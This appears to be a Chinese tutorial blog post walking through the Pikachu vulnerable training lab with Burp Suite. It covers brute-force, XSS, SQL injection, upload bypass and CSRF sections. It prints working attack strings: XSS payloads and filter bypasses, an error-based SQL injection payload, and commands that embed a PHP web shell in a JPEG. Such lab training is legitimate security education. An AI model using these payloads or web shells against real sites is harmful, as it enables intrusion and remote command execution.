新手必看:用Burp Suite通关Pikachu靶场的完整实战笔记(附详细步骤截图)
1. 环境准备与工具配置
工欲善其事,必先利其器。在开始Pikachu靶场实战前,我们需要确保Burp Suite和靶场环境正确配置。这里我分享几个容易踩坑的配置细节:
Burp Suite基础配置
- 代理设置:Chrome浏览器需安装SwitchyOmega插件,配置127.0.0.1:8080代理端口。常见错误是忘记关闭系统代理或防火墙拦截。
- 证书安装:访问http://burp下载CA证书,在浏览器"证书管理器"中导入并信任。Mac用户需额外执行钥匙串访问的证书信任设置。
- 内存优化:在
BurpSuite.vmoptions中修改-Xmx参数(建议4G以上),避免扫描时内存溢出。
提示:首次运行时建议关闭Burp的自动更新检查,在
User options - Misc中取消勾选"Check for updates"
Pikachu靶场搭建技巧
- 使用Docker快速部署:
docker run -d -p 80:80 area39/pikachu - 本地PHP环境常见问题解决:
# 解决MySQL连接错误 sudo chmod 755 /var/lib/mysql # 修改config.inc.php中的数据库配置 $dbuser = 'root'; $dbpass = 'root';
2. 暴力破解实战详解
2.1 表单爆破的智能技巧
传统爆破教程往往直接扔给你一个密码字典,但实战中更需要策略。以登录表单为例:
- 精准定位参数:用Burp抓包后,在
Proxy - HTTP history右键发送到Intruder - 变量设置艺术:
- 清除默认变量(点击"Clear §")
- 仅对密码字段设置变量(§password§)
- 在
Payloads标签加载rockyou.txt精简版字典
线程控制对照表
| 场景 | 推荐线程数 | 注意事项 |
|---|---|---|
| 普通表单 | 10-20 | 观察响应时间调整 |
| Token验证 | 1 | 必须勾选"Follow redirects" |
| 验证码防护 | 3-5 | 配合Repeater测试重用性 |
2.2 验证码绕过实战记录
在"验证码绕过(on server)"关卡,我发现一个有趣现象:
POST /pikachu/vul/burteforce/bf_server.php HTTP/1.1 ... username=test&password=123&vcode=ABCD通过Repeater重放10次请求后,发现只要不刷新页面,同一验证码可无限使用。这暴露出服务端未做会话绑定的缺陷。
注意:现代系统多采用一次性token+验证码组合防护,单纯验证码已不够安全
3. XSS攻击的七十二变
3.1 突破前端限制的三种姿势
当遇到<input maxlength="20">限制时,不要急着改HTML源码:
- 浏览器控制台突破:
document.querySelector('input').removeAttribute('maxlength') - Burp拦截修改:在Proxy拦截请求时直接修改POST参数
- 外部提交攻击:用Python requests库绕过前端验证
3.2 DOM型XSS的狩猎过程
在测试DOM型XSS时,我习惯先用以下payload逐步测试:
'"><img src=x onerror=console.log(1)>javascript:alert(document.domain)data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
XSS过滤绕过对照表
| 过滤规则 | 绕过方案 | 适用场景 |
|---|---|---|
| 大小写敏感 | <ScRipt>alert(1)</sCRipt> | 简单正则过滤 |
| 关键词替换 | <img src=1 onerror=alert(1)> | 替换script标签 |
| HTML实体编码 | <script>→ 使用JS事件 | 输出在属性内 |
4. SQL注入的降维打击
4.1 报错注入的实战技巧
在"insert/update注入"关卡,常规payload可能被拦截。这时可以采用:
admin' and (select 1 from (select count(*),concat(0x3a,(select database()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1关键点解析:
- 利用
floor(rand(0)*2)产生重复值触发报错 0x3a是冒号的16进制,作为分隔符- 子查询嵌套避免关键词检测
4.2 盲注的自动化实战
与其手动测试布尔盲注,不如用Burp的Intruder实现自动化:
- 设置
cluster bomb攻击类型 - Payload set 1:
ascii(substr(database(),§1§,1))>§2§ - Payload set 2:数字1-30(长度探测)
- Payload set 3:ASCII码范围(32-126)
在Grep - Extract中添加exists关键词过滤,通过响应差异判断结果。
5. 文件上传的奇技淫巧
5.1 绕过前端检测的三重奏
- 修改Content-Type:
Content-Type: image/jpeg - 文件幻数欺骗:在PHP马开头添加
GIF89a - 双扩展名攻击:
shell.php.jpg
5.2 图片马制作指南
用Linux命令制作免杀图片马:
echo '<?php system($_GET["cmd"]); ?>' >> normal.jpg exiftool -Comment='<?php system($_REQUEST["x"]); ?>' test.jpg在蚁剑连接时,遇到中文路径问题可以用URL编码解决:
http://target.com/upload/测试.php → .../%E6%B5%8B%E8%AF%95.php6. CSRF防御与突破
6.1 Token防护的自动化破解
使用CSRF Token Tracker插件时,配置策略要注意:
- 在
Session handling rules添加新规则 Scope设置为目标域名- 在
Macros中添加获取token的请求链 - 测试时勾选
Update CSRF token
Token位置探测技巧
- 查看页面源码中的meta标签
- 检查AJAX响应中的JSON字段
- 监控Cookie变化
7. 靶场实战中的调试艺术
7.1 Burp Logger的妙用
在Project options - Misc启用Logger后,可以:
- 过滤
500 Internal Server Error快速定位注入点 - 搜索
error关键词发现隐藏报错信息 - 导出日志用Python分析攻击模式
import json with open('burp_log.json') as f: logs = json.load(f) for log in logs: if 'sql' in log['response'].lower(): print(log['url'])7.2 高效排错四步法
- 原始请求:用Repeater发送原始正常请求
- 逐步污染:每次只修改一个参数值
- 差异对比:使用
Diff功能比较响应 - 模式识别:记录服务器错误模式规律
在测试"宽字节注入"时,发现服务器对%27和%df%27的响应差异暴露了过滤逻辑。这种细微差别往往藏在响应头或注释里,需要耐心比对。